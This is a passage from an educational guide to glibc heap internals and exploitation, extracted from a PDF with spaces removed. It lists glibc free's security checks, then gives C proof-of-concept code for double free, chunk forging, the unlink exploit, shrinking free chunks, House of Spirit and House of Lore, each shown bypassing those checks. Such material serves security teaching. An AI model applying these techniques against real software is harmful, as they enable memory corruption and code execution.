adding.Otherwise,throwanerror("invalidfastbinentry(free)").vii. Insertthechunkatthetopofthefastbinlistandreturn.
4. Ifthechunkisnotmmapped:i. Checkifthechunkisthetopchunkornot.Ifyes,anerror("doublefreeorcorruption(top)")isthrown.
ii. Checkwhethernextchunk(bymemory)iswithintheboundariesofthearena.Ifnot,anerror("doublefreeorcorruption(out)")isthrown.
iii. Checkwhethernextchunk's(bymemory)previousinusebitismarkedornot.Ifnot,anerror("doublefreeorcorruption(!prev)")isthrown.
iv. Checkwhetherthesizeofnextchunkisbetweentheminimumandmaximumsize
CoreFunctions
22
![Page 23: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/23.jpg)
(av->system_mem).Ifnot,anerror("free():invalidnextsize(normal)")isthrown.v. Callfree_perturbonthechunk.vi. Ifpreviouschunk(bymemory)isnotinuse,callunlinkonthepreviouschunk.vii. Ifnextchunk(bymemory)isnottopchunk:
i. Ifnextchunkisnotinuse,callunlinkonthenextchunk.ii. Mergethechunkwithprevious,next(bymemory),ifanyisfreeandadditto
theheadofunsortedbin.Beforeinserting,checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)ornot.Ifnot,anerror("free():corruptedunsortedchunks")isthrown.
viii. Ifnextchunk(bymemory)wasatopchunk,mergethechunksappropriatelyintoasingletopchunk.
5. Ifthechunkwasmmapped,callmunmap_chunk.
__libc_free(void*mem)1. ReturnifmemisNULL.2. Ifthecorrespondingchunkismmapped,callmunmap_chunkifthedynamicbrk/mmap
thresholdneedsadjusting.3. Getarenapointerforthatcorrespondingchunk.4. Call_int_free.
CoreFunctions
23
![Page 24: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/24.jpg)
SecurityChecksThispresentsasummaryofthesecuritychecksintroducedinglibc'simplementationtodetectandpreventheaprelatedattacks.
Function SecurityCheck Error
unlink Whetherchunksizeisequaltotheprevioussizesetinthenextchunk(inmemory)
corruptedsizevs.prev_size
unlink WhetherP->fd->bk==PandP->bk->fd==P*corrupteddouble-linkedlist
_int_mallocWhileremovingthefirstchunkfromfastbin(toserviceamallocrequest),checkwhetherthesizeofthechunkfallsinfastchunksizerange
malloc():memorycorruption(fast)
_int_mallocWhileremovingthelastchunk(victim)fromasmallbin(toserviceamallocrequest),checkwhethervictim->bk->fdandvictimareequal
malloc():smallbindoublelinkedlistcorrupted
_int_mallocWhileiteratinginunsortedbin,checkwhethersizeofcurrentchunkiswithinminimum(2*SIZE_SZ)andmaximum(av->system_mem)range
malloc():memorycorruption
_int_mallocWhileinsertinglastremainderchunkintounsortedbin(aftersplittingalargechunk),checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)
malloc():corruptedunsortedchunks
_int_mallocWhileinsertinglastremainderchunkintounsortedbin(aftersplittingafastorasmallchunk),checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)
malloc():corruptedunsortedchunks2
_int_free Checkwhetherp**isbeforep+chunksize(p)inthememory(toavoidwrapping)
free():invalidpointer
_int_free CheckwhetherthechunkisatleastofsizeMINSIZEoramultipleofMALLOC_ALIGNMENT
free():invalidsize
_int_freeForachunkwithsizeinfastbinrange,checkifnextchunk'ssizeisbetweenminimumandmaximumsize(av->system_mem)
free():invalidnextsize(fast)
_int_free Whileinsertingfastchunkintofastbin(atHEAD),checkwhetherthechunkalreadyatHEADisnotthesame
doublefreeorcorruption(fasttop)
SecurityChecks
24
![Page 25: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/25.jpg)
_int_freeWhileinsertingfastchunkintofastbin(atHEAD),checkwhethersizeofthechunkatHEADissameasthechunktobeinserted
invalidfastbinentry(free)
_int_freeIfthechunkisnotwithinthesizerangeoffastbinandneitheritisammappedchunks,checkwhetheritisnotthesameasthetopchunk
doublefreeorcorruption(top)
_int_free Checkwhethernextchunk(bymemory)iswithintheboundariesofthearena
doublefreeorcorruption(out)
_int_free Checkwhethernextchunk's(bymemory)previousinusebitismarked
doublefreeorcorruption(!prev)
_int_free Checkwhethersizeofnextchunkiswithintheminimumandmaximumsize(av->system_mem)
free():invalidnextsize(normal)
_int_freeWhileinsertingthecoalescedchunkintounsortedbin,checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)
free():corruptedunsortedchunks
*:'P'referstothechunkbeingunlinked
**:'p'referstothechunkbeingfreed
SecurityChecks
25
![Page 26: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/26.jpg)
HeapExploitationTheglibclibraryprovidesfunctionssuchasfreeandmalloctohelpdevelopersmanagetheheapmemoryaccordingtotheirusecases.Itistheresponsibilityofthedeveloperto:
freeanymemoryhe/shehasobtainedusingmalloc.Donotfreethesamememorymorethanonce.Ensurethatmemoryusagedoesnotgobeyondtheamountofmemoryrequested,inotherterms,preventheapoverflows.
Failingtodomakesthesoftwarevulnerabletovariouskindsofattacks.Shellphish,afamousCapturetheFlagteamfromUCSantaBarbara,hasdoneagreatjobinlistingavarietyofheapexploitationtechniquesinhow2heap.Attacksdescribedin"TheMallocMaleficarum"by"PhantasmalPhantasmagoria"inanemailtothe"Bugtraq"mailinglistarealsodescribed.
Asummaryoftheattackshasbeendescribedbelow:
Attack Target Technique
FirstFit Thisisnotanattack,itjustdemonstratesthenatureofglibc'sallocator ---
DoubleFree
Makingmallocreturnanalreadyallocatedfastchunk
Disruptthefastbinbyfreeingachunktwice
Forgingchunks
Makingmallocreturnanearlyarbitrarypointer
Disruptingfastbinlinkstructure
UnlinkExploit Getting(nearly)arbitrarywriteaccess Freeingacorruptedchunk
andexploitingunlink
ShrinkingFree
Chunks
Makingmallocreturnachunkoverlappingwithanalreadyallocated
chunk
Corruptingafreechunkbydecreasingitssize
HouseofSpirit
Makingmallocreturnanearlyarbitrarypointer
Forcingfreeingofacraftedfakechunk
HouseofLore
Makingmallocreturnanearlyarbitrarypointer
Disruptingsmallbinlinkstructure
HouseofForce
Makingmallocreturnanearlyarbitrarypointer
Overflowingintotopchunk'sheader
HouseofEinherjar
Makingmallocreturnanearlyarbitrarypointer
Overflowingasinglebyteintothenextchunk
HeapExploitation
26
![Page 27: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/27.jpg)
HeapExploitation
27
![Page 28: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/28.jpg)
First-fitbehaviorThistechniquedescribesthe'first-fit'behaviorofglibc'sallocator.Wheneveranychunk(notafastchunk)isfreed,itendsupintheunsortedbin.InsertionhappensattheHEADofthelist.Onrequestingnewchunks(again,nonfastchunks),initiallyunsortedbinswillbelookedupassmallbinswillbeempty.ThislookupisfromtheTAILendofthelist.Ifasinglechunkispresentintheunsortedbin,anexactcheckisnotmadeandifthechunk'ssize>=theonerequested,itissplitintotwoandreturned.Thisensuresfirstinfirstoutbehavior.
Considerthesamplecode:
char*a=malloc(300);//0x***010
char*b=malloc(250);//0x***150
free(a);
a=malloc(250);//0x***010
Thestateofunsortedbinprogressesas:
1. 'a'freed.head->a->tail
2. 'malloc'request.head->a2->tail['a1'isreturned]
'a'chunkissplitintotwochunks'a1'and'a2'astherequestedsize(250bytes)issmallerthanthesizeofthechunk'a'(300bytes).Thiscorrespondsto[6.iii.]in_int_malloc.
Thisisalsotrueinthecaseoffastchunks.Insteadof'freeing'intounsortedbin,fastchunksendupinfastbins.Asmentionedearlier,fastbinsmaintainasinglylinkedlistandchunksareinsertedanddeletedfromtheHEADend.This'reverses'theorderofchunksobtained.
Considerthesamplecode:
FirstFit
28
![Page 29: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/29.jpg)
char*a=malloc(20);//0xe4b010
char*b=malloc(20);//0xe4b030
char*c=malloc(20);//0xe4b050
char*d=malloc(20);//0xe4b070
free(a);
free(b);
free(c);
free(d);
a=malloc(20);//0xe4b070
b=malloc(20);//0xe4b050
c=malloc(20);//0xe4b030
d=malloc(20);//0xe4b010
Thestateoftheparticularfastbinprogressesas:
1. 'a'freed.head->a->tail
2. 'b'freed.head->b->a->tail
3. 'c'freed.head->c->b->a->tail
4. 'd'freed.head->d->c->b->a->tail
5. 'malloc'request.head->c->b->a->tail['d'isreturned]
6. 'malloc'request.head->b->a->tail['c'isreturned]
7. 'malloc'request.head->a->tail['b'isreturned]
8. 'malloc'request.head->tail['a'isreturned]
Thesmallersizehere(20bytes)ensuredthatonfreeing,chunkswentintofastbinsinsteadoftheunsortedbin.
UseafterFreeVulnerability
FirstFit
29
![Page 30: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/30.jpg)
Intheaboveexamples,weseethat,mallocmightreturnchunksthatwereearlierusedandfreed.Thismakesusingfreedmemorychunksvulnerable.Onceachunkhasbeenfreed,itshouldbeassumedthattheattackercannowcontrolthedatainsidethechunk.Thatparticularchunkshouldneverbeusedagain.Instead,alwaysallocateanewchunk.
Seesamplepieceofvulnerablecode:
char*ch=malloc(20);
//Someoperations
//..
//..
free(ch);
//Someoperations
//..
//..
//Attackercancontrol'ch'
//Thisisvulnerablecode
//Freedvariablesshouldnotbeusedagain
if(*ch=='a'){
//dothis
}
FirstFit
30
![Page 31: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/31.jpg)
DoubleFreeFreeingaresourcemorethanoncecanleadtomemoryleaks.Theallocator'sdatastructuresgetcorruptedandcanbeexploitedbyanattacker.Inthesampleprogrambelow,afastbinchunkwillbefreedtwice.Now,toavoid'doublefreeorcorruption(fasttop)'securitycheckbyglibc,anotherchunkwillbefreedinbetweenthetwofrees.Thisimpliesthatthesamechunkwillbereturnedbytwodifferent'mallocs'.Boththepointerswillpointtothesamememoryaddress.Ifoneofthemisunderthecontrolofanattacker,he/shecanmodifymemoryfortheotherpointerleadingtovariouskindsofattacks(includingcodeexecutions).
Considerthissamplecode:
a=malloc(10);//0xa04010
b=malloc(10);//0xa04030
c=malloc(10);//0xa04050
free(a);
free(b);//Tobypass"doublefreeorcorruption(fasttop)"check
free(a);//DoubleFree!!
d=malloc(10);//0xa04010
e=malloc(10);//0xa04030
f=malloc(10);//0xa04010-Sameas'd'!
Thestateoftheparticularfastbinprogressesas:
1. 'a'freed.head->a->tail
2. 'b'freed.head->b->a->tail
3. 'a'freedagain.head->a->b->a->tail
4. 'malloc'requestfor'd'.head->b->a->tail['a'isreturned]
5. 'malloc'requestfor'e'.head->a->tail['b'isreturned]
6. 'malloc'requestfor'f'.head->tail['a'isreturned]
DoubleFree
31
![Page 32: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/32.jpg)
Now,'d'and'f'pointerspointtothesamememoryaddress.Anychangesinonewillaffecttheother.
Notethatthisparticularexamplewillnotworkifsizeischangedtooneinsmallbinrange.Withthefirstfree,a'snextchunkwillsetthepreviousinusebitas'0'.Duringthesecondfree,asthisbitis'0',anerrorwillbethrown:"doublefreeorcorruption(!prev)"error.
DoubleFree
32
![Page 33: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/33.jpg)
ForgingchunksAfterachunkisfreed,itisinsertedinabinlist.However,thepointerisstillavailableintheprogram.Iftheattackerhascontrolofthispointer,he/shecanmodifythelinkedliststructureinbinsandinserthis/herown'forged'chunk.Thesampleprogramshownbelowshowshowthisispossibleinthecaseoffastbinfreelist.
structforged_chunk{
size_tprev_size;
size_tsize;
structforged_chunk*fd;
structforged_chunk*bck;
charbuf[10];//padding
};
//Firstgrabafastchunk
a=malloc(10);//'a'pointsto0x219c010
//Createaforgedchunk
structforged_chunkchunk;//Ataddress0x7ffc6de96690
chunk.size=0x20;//Thissizeshouldfallinthesamefastbin
data=(char*)&chunk.fd;//Datastartshereforanallocatedchunk
strcpy(data,"attacker'sdata");
//Putthefastchunkbackintofastbin
free(a);
//Modify'fd'pointerof'a'topointtoourforgedchunk
*((unsignedlonglong*)a)=(unsignedlonglong)&chunk;
//Remove'a'fromHEADoffastbin
//OurforgedchunkwillnowbeattheHEADoffastbin
malloc(10);//Willreturn0x219c010
victim=malloc(10);//Pointsto0x7ffc6de966a0
printf("%s\n",victim);//Prints"attacker'sdata"!!
Theforgedchunk'ssizeparameterwassetequalto0x20sothatitpassesthesecuritycheck"malloc():memorycorruption(fast)".Thischeckcheckswhetherthesizeofthechunkfallsintherangeforthatparticularfastbin.Also,notethatthedataforanallocatedchunkstartsfromthe'fd'pointer.Thisisalsoevidentintheaboveprogramasvictimpoints0x10(0x8+0x8)bytesaheadofthe'forgedchunk'.
Thestateoftheparticularfastbinprogressesas:
1. 'a'freed.head->a->tail
Forgingchunks
33
![Page 34: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/34.jpg)
2. a'sfdpointerchangedtopointto'forgedchunk'.head->a->forgedchunk->undefined(fdofforgedchunkwillinfactbeholdingattacker'sdata)
3. 'malloc'requesthead->forgedchunk->undefined
4. 'malloc'requestbyvictimhead->undefined[forgedchunkisreturnedtothevictim]
Notethefollowing:
Another'malloc'requestforthefastchunkinthesamebinlistwillresultinsegmentationfault.Eventhoughwerequestfor10bytesandsetthesizeoftheforgedchunkas32(0x20)bytes,bothfallinthesamefastbinrangeof32-bytechunks.Thisattackforsmallandlargechunkswillbeseenlateras'HouseofLore'.Theabovecodeisdesignedfor64-bitmachines.Toruniton32-bitmachines,replaceunsignedlonglongwithunsignedintaspointersarenow4bytesinsteadof8bytes.Also,insteadofusing32bytesassizeforforgedchunk,asmallofthesizeofaround17bytesshouldwork.
Forgingchunks
34
![Page 35: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/35.jpg)
UnlinkExploitThisparticularattackwasoncequitecommon.However,twosecuritycheckswereaddedintheunlinkMACRO("corruptedsizevs.prev_size"and"corrupteddouble-linkedlist")whichreducedtheimpactoftheattacktosomeextent.Nevertheless,itisworthwhiletospendsometimeonit.ItexploitsthepointermanipulationdoneintheunlinkMACROwhileremovingachunkfromabin.
Considerthissamplecode(downloadthecompleteversionhere):
UnlinkExploit
35
![Page 36: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/36.jpg)
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[10];//padding
};
unsignedlonglong*chunk1,*chunk2;
structchunk_structure*fake_chunk,*chunk2_hdr;
chardata[20];
//Firstgrabtwochunks(nonfast)
chunk1=malloc(0x80);//Pointsto0xa0e010
chunk2=malloc(0x80);//Pointsto0xa0e0a0
//Assumingattackerhascontroloverchunk1'scontents
//Overflowtheheap,overridechunk2'sheader
//Firstforgeafakechunkstartingatchunk1
//Needtosetupfdandbkpointerstopasstheunlinksecuritycheck
fake_chunk=(structchunk_structure*)chunk1;
fake_chunk->fd=(structchunk_structure*)(&chunk1-3);//EnsuresP->fd->bk==P
fake_chunk->bk=(structchunk_structure*)(&chunk1-2);//EnsuresP->bk->fd==P
//Nextmodifytheheaderofchunk2topassallsecuritychecks
chunk2_hdr=(structchunk_structure*)(chunk2-2);
chunk2_hdr->prev_size=0x80;//chunk1'sdataregionsize
chunk2_hdr->size&=~1;//Unsettingprev_in_usebit
//Now,whenchunk2isfreed,attacker'sfakechunkis'unlinked'
//Thisresultsinchunk1pointerpointingtochunk1-3
//i.e.chunk1[3]nowcontainschunk1itself.
//Wethenmakechunk1pointtosomevictim'sdata
free(chunk2);
chunk1[3]=(unsignedlonglong)data;
strcpy(data,"Victim'sdata");
//Overwritevictim'sdatausingchunk1
chunk1[0]=0x002164656b636168LL;//hexfor"hacked!"
printf("%s\n",data);//Prints"hacked!"
Thismightlookalittlecomplicatedcomparedtootherattacks.First,wemalloctwochunkschunk1andchunk2withsize0x80toensurethattheyfallinthesmallbinrange.Next,weassumethattheattackersomehowhasunboundedcontroloverthecontentsofchunk1(thiscanbeusingany'unsafe'functionsuchasstrcpyonuserinput).Noticethatboththe
UnlinkExploit
36
![Page 37: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/37.jpg)
chunkswilllieinthememorysidebyside.Thecodeshownaboveusescustomstructchunk_structureforclaritypurposesonly.Inanattackscenario,theattackershallsimplysendbytestofillinchunk1thatwouldhavethesameeffectasabove.
Anewfakechunkiscreatedinthe'data'partofchunk1.Thefdandbkpointersareadjustedtopassthe"corrupteddouble-linkedlist"securitycheck.Thecontentsoftheattackerareoverflowedintochunk2'sheaderthatsetsappropriateprev_sizeandprev_in_usebit.Thisensuresthatwheneverchunk2isfreed,thefake_chunkwillbedetectedas'freed'andwillbeunlinked'.Thefollowingdiagramsshowsthecurrentstateofthevariousmemoryregions:
Carefully,trytounderstandhowP->fd->bk==PandP->bk->fd==Pchecksarepassed.Thisshallgiveanintuitionregardinghowtoadjustthefdandbkpointersofthefakechunk.
Assoonaschunk2isfreed,itishandledasasmallbin.Recallthatpreviousandnextchunks(bymemory)arecheckedwhethertheyare'free'ornot.Ifanychunkisdetectedas'free',itisunlinkedforthepurposeofmergingconsecutivefreechunks.TheunlinkMACROexecutesthefollowingtwoinstructionsthatmodifypointers:
1. SetP->fd->bk=P->bk.2. SetP->bk->fd=P->fd.
Inthiscase,bothP->fd->bkandP->bk->fdpointtothesamelocationsoonlythesecondupdateisnoticed.Thefollowingdiagramshowstheeffectsofthesecondupdatejustafterchunk2isfreed.
UnlinkExploit
37
![Page 38: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/38.jpg)
Now,wehavechunk1pointingto3addresses(16-bit)behinditself(&chunk1-3).Hence,chunk1[3]isinfactthechunk1.Changingchunk1[3]islikechangingchunk1.Noticethatanattackerhasagreaterchanceofgettinganopportunitytoupdatedataatlocationchunk1(chunk1[3]here)insteadofchunk1itself.Thiscompletestheattack.Inthisexample,chunk1wasmadetopointtoa'data'variableandchangesthroughchunk1werereflectedonthatvariable.
Earlier,withtheabsenceofsecuritychecksinunlink,thetwowriteinstructionsintheunlinkMACROwereusedtoachievearbitrarywrites.Byoverwriting.gotsections,thisledtoarbitrarycodeexecution.
UnlinkExploit
38
![Page 39: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/39.jpg)
ShrinkingFreeChunksThisattackwasdescribedin'GlibcAdventures:TheForgottenChunk'.Itmakesuseofasinglebyteheapoverflow(commonlyfoundduetothe'offbyone'.Thegoalofthisattackistomake'malloc'returnachunkthatoverlapswithanalreadyallocatedchunk,currentlyinuse.First3consecutivechunksinmemory(a,b,c)areallocatedandthemiddleoneisfreed.Thefirstchunkisoverflowed,resultinginanoverwriteofthe'size'ofthemiddlechunk.Theleastsignificantbyteto0bytheattacker.This'shrinks'thechunkinsize.Next,twosmallchunks(b1andb2)areallocatedoutofthemiddlefreechunk.Thethirdchunk'sprev_sizedoesnotgetupdatedasb+b->sizenolongerpointstoc.It,infact,pointstoamemoryregion'before'c.Then,b1alongwiththecisfreed.cstillassumesbtobefree(sinceprev_sizedidn'tgetupdatedandhencec-c->prev_sizestillpointstob)andconsolidatesitselfwithb.Thisresultsinabigfreechunkstartingfrombandoverlappingwithb2.Anewmallocreturnsthisbigchunk,therebycompletingtheattack.Thefollowingfiguresumsupthesteps:
ShrinkingFreeChunks
39
![Page 40: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/40.jpg)
ImageSource:https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
Considerthissamplecode(downloadthecompleteversionhere):
structchunk_structure{
size_tprev_size;
size_tsize;
structchunk_structure*fd;
structchunk_structure*bk;
charbuf[19];//padding
};
void*a,*b,*c,*b1,*b2,*big;
structchunk_structure*b_chunk,*c_chunk;
//Grabthreeconsecutivechunksinmemory
a=malloc(0x100);//at0xfee010
b=malloc(0x200);//at0xfee120
c=malloc(0x100);//at0xfee330
b_chunk=(structchunk_structure*)(b-2*sizeof(size_t));
c_chunk=(structchunk_structure*)(c-2*sizeof(size_t));
//freeb,nowthereisalargegapbetween'a'and'c'inmemory
//bwillendupinunsortedbin
free(b);
//Attackeroverflows'a'andoverwritesleastsignificantbyteofb'ssize
//with0x00.Thiswilldecreaseb'ssize.
*(char*)&b_chunk->size=0x00;
//Allocateanotherchunk
//'b'willbeusedtoservicethischunk.
//c'sprevioussizewillnotupdated.Infact,theupdatewillbedoneafew
//bytesbeforec'sprevioussizeasb'ssizehasdecreased.
//So,b+b->sizeisbehindc.
//cwillassumethatthepreviouschunk(c-c->prev_size=b/b1)isfree
b1=malloc(0x80);//at0xfee120
//Allocateanotherchunk
//Thiswillcomedirectlyafterb1
b2=malloc(0x80);//at0xfee1b0
strcpy(b2,"victim'sdata");
//Freeb1
free(b1);
//Freec
//Thiswillnowconsolidatewithb/b1therebymergingb2withinit
//Thisisbecausec'sprev_in_usebitisstill0anditsprevioussize
//pointstob/b1
ShrinkingFreeChunks
40
![Page 41: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/41.jpg)
free(c);
//Allocateabigchunktocoverb2'smemoryaswell
big=malloc(0x200);//at0xfee120
memset(big,0x41,0x200-1);
printf("%s\n",(char*)b2);//PrintsAAAAAAAAAAA...!
bignowpointstotheinitialbchunkandoverlapswithb2.Updatingcontentsofbigupdatescontentsofb2,evenwhenboththesechunksareneverpassedtofree.
Notethatinsteadofshrinkingb,theattackercouldalsohaveincreasedthesizeofb.Thiswillresultinasimilarcaseofoverlap.When'malloc'requestsanotherchunkoftheincreasedsize,bwillbeusedtoservicethisrequest.Nowc'smemorywillalsobepartofthisnewchunkreturned.
ShrinkingFreeChunks
41
![Page 42: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/42.jpg)
HouseofSpiritTheHouseofSpiritisalittledifferentfromotherattacksinthesensethatitinvolvesanattackeroverwritinganexistingpointerbeforeitis'freed'.Theattackercreatesa'fakechunk',whichcanresideanywhereinthememory(heap,stack,etc.)andoverwritesthepointertopointtoit.Thechunkhastobecraftedinsuchamannersoastopassallthesecuritytests.Thisisnotdifficultandonlyinvolvessettingthesizeandnextchunk'ssize.Whenthefakechunkisfreed,itisinsertedinanappropriatebinlist(preferablyafastbin).Afuturemalloccallforthissizewillreturntheattacker'sfakechunk.Theendresultissimilarto'forgingchunksattack'describedearlier.
Considerthissamplecode(downloadthecompleteversionhere):
structfast_chunk{
size_tprev_size;
size_tsize;
structfast_chunk*fd;
structfast_chunk*bk;
charbuf[0x20];//chunkfallsinfastbinsizerange
};
structfast_chunkfake_chunks[2];//Twochunksinconsecutivememory
//fake_chunks[0]at0x7ffe220c5ca0
//fake_chunks[1]at0x7ffe220c5ce0
void*ptr,*victim;
ptr=malloc(0x30);//Firstmalloc
//Passessizecheckof"free():invalidsize"
fake_chunks[0].size=sizeof(structfast_chunk);//0x40
//Passes"free():invalidnextsize(fast)"
fake_chunks[1].size=sizeof(structfast_chunk);//0x40
//Attackeroverwritesapointerthatisabouttobe'freed'
ptr=(void*)&fake_chunks[0].fd;
//fake_chunks[0]getsinsertedintofastbin
free(ptr);
victim=malloc(0x30);//0x7ffe220c5cb0addressreturnedfrommalloc
HouseofSpirit
42
![Page 43: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/43.jpg)
Noticethat,asexpected,thereturnedpointeris0x10or16bytesaheadoffake_chunks[0].Thisistheaddresswherethefdpointerisstored.Thisattackgivesasurfaceformoreattacks.victimpointstomemoryonthestackinsteadofheapsegment.Bymodifyingthereturnaddressesonthestack,theattackercancontroltheexecutionoftheprogram.
HouseofSpirit
43
![Page 44: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/44.jpg)
HouseofLoreThisattackisbasicallytheforgingchunksattackforsmallandlargebins.However,duetoanaddedprotectionforlargebinsinaround2007(theintroductionoffd_nextsizeandbk_nextsize)itbecameimpractical.Hereweshallseethecaseonlyforsmallbins.First,asmallchunkwillbeplacedinasmallbin.It'sbkpointerwillbeoverwrittentopointtoafakesmallchunk.Notethatinthecaseofsmallbins,insertionhappensattheHEADandremovalattheTAIL.Amalloccallwillfirstremovetheauthenticchunkfromthebinmakingtheattacker'sfakechunkattheTAILofthebin.Thenextmallocwillreturntheattacker'schunk.
Considerthissamplecode(downloadthecompleteversionhere):
HouseofLore
44
![Page 45: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/45.jpg)
structsmall_chunk{
size_tprev_size;
size_tsize;
structsmall_chunk*fd;
structsmall_chunk*bk;
charbuf[0x64];//chunkfallsinsmallbinsizerange
};
structsmall_chunkfake_chunk;//Ataddress0x7ffdeb37d050
structsmall_chunkanother_fake_chunk;
structsmall_chunk*real_chunk;
unsignedlonglong*ptr,*victim;
intlen;
len=sizeof(structsmall_chunk);
//Grabtwosmallchunkandfreethefirstone
//Thischunkwillgointounsortedbin
ptr=malloc(len);//pointstoaddress0x1a44010
//Thesecondmalloccanbeofrandomsize.Wejustwantthat
//thefirstchunkdoesnotmergewiththetopchunkonfreeing
malloc(len);//pointstoaddress0x1a440a0
//Thischunkwillendupinunsortedbin
free(ptr);
real_chunk=(structsmall_chunk*)(ptr-2);//pointstoaddress0x1a44000
//Grabanotherchunkwithgreatersizesoastopreventgettingback
//thesameone.Also,thepreviouschunkwillnowgofromunsortedto
//smallbin
malloc(len+0x10);//pointstoaddress0x1a44130
//Maketherealsmallchunk'sbkpointerpointto&fake_chunk
//Thiswillinsertthefakechunkinthesmallbin
real_chunk->bk=&fake_chunk;
//andfake_chunk'sfdpointtothesmallchunk
//Thiswillensurethat'victim->bk->fd==victim'fortherealchunk
fake_chunk.fd=real_chunk;
//Wealsoneedthis'victim->bk->fd==victim'testtopassforfakechunk
fake_chunk.bk=&another_fake_chunk;
another_fake_chunk.fd=&fake_chunk;
//Removetherealchunkbyastandardcalltomalloc
malloc(len);//pointsataddress0x1a44010
//Nextmallocforthatsizewillreturnthefakechunk
victim=malloc(len);//pointsataddress0x7ffdeb37d060
HouseofLore
45
![Page 46: Table of Contents · Understanding glibc malloc Understanding the heap by breaking it Before moving into the implementation, it is important to keep the following notes in mind: 1](https://reader033.vdocuments.site/reader033/viewer/2022052521/60af2b7f79a90557e93256f7/html5/thumbnails/46.jpg)
Noticethatthestepsneededforforgingasmallchunkaremoreduetothecomplicatedhandlingofsmallchunks.Particularcarewasneededtoensurethatvictim->bk->fdequalsvictimforeverysmallchunkthatistobereturnedfrom'malloc',topassthe"malloc():smallbindoublelinkedlistcorrupted"securitycheck.Also,extra'malloc'callswereaddedinbetweentoensurethat:
1. Thefirstchunkgoestotheunsortedbininsteadofmergingwiththetopchunkonfreeing.
